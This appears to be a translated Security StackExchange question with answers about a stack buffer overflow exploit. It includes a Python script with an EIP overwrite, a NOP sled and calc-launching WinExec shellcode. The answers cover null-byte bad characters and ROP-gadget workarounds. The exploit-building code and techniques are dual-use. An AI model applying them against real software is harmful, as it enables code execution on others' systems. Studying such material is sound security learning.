这是我的功劳:
junk = b'A' * 1032
eip = b"\xf5\x93\x4a\x00" # some address where 'jmp esp' lives
shellcode = b""
shellcode += b"\x33\xc0" # xor eax, eax
shellcode += b"\x50" # push eax
shellcode += b"\x68\x2E\x65\x78\x65" # push ".exe"
shellcode += b"\x68\x63\x61\x6C\x63" # push "calc"
shellcode += b"\x8B\xC4" # mov eax, esp
shellcode += b"\x6A\x01" # push 1
shellcode += b"\x50" # push eax
shellcode += b"\xBB\x30\xCD\x07\x77" # mov ebx, 7707cd30 (location of winexec)
shellcode += b"\xFF\xD3" # call ebx
nopsled = b"\x90" * 30
with open("exploit.txt", "wb") as file:
file.write(junk + eip + nopsled + shellcode)EIP会被正确的值覆盖,但是它不会跳转到there代码中,我是不是遗漏了什么?我也尝试过使用msfvenom生成的外壳代码,但它也不起作用,所以我认为问题不在于外壳代码本身。我确信问题是来自EIP的\x00,但是如果jmp esp的地址包含它,我怎么能忽略它呢?如果没有前导的jmp esp,二进制文件中就没有\x00。
发布于 2021-07-06 06:39:42
你说得对,问题是\x00 in EIP。这是众所周知的坏字符,您可以找到更多的坏字符这里。
要绕过这个问题,您需要使用小工具(面向返回的编程)跳转到ESP,例如:
0x11223344 mov eax, esp
...
ret还有第二个跳转到EAX的小工具:
0x55667788 jmp eax
...
ret在这种情况下,最终利用应该是:
with open("exploit.txt", "wb") as file:
file.write(junk + b"\x44\x33\x22\x11" + b"\x88\x77\x66\x55" + nopsled + shellcode)发布于 2021-08-05 23:07:39
虽然使用ROP是一个可行的选择,但您不必使用ROP。有几种可行的选择:
jmp esp-8并将有效负载移动8个字节sub eax-48;call eax这样的小工具来转向jmp esp地址。0x0c0c0c0c0x004a????解决这些问题有很多种方法,当然也允许有创造性。
https://security.stackexchange.com/questions/252064
复制相似问题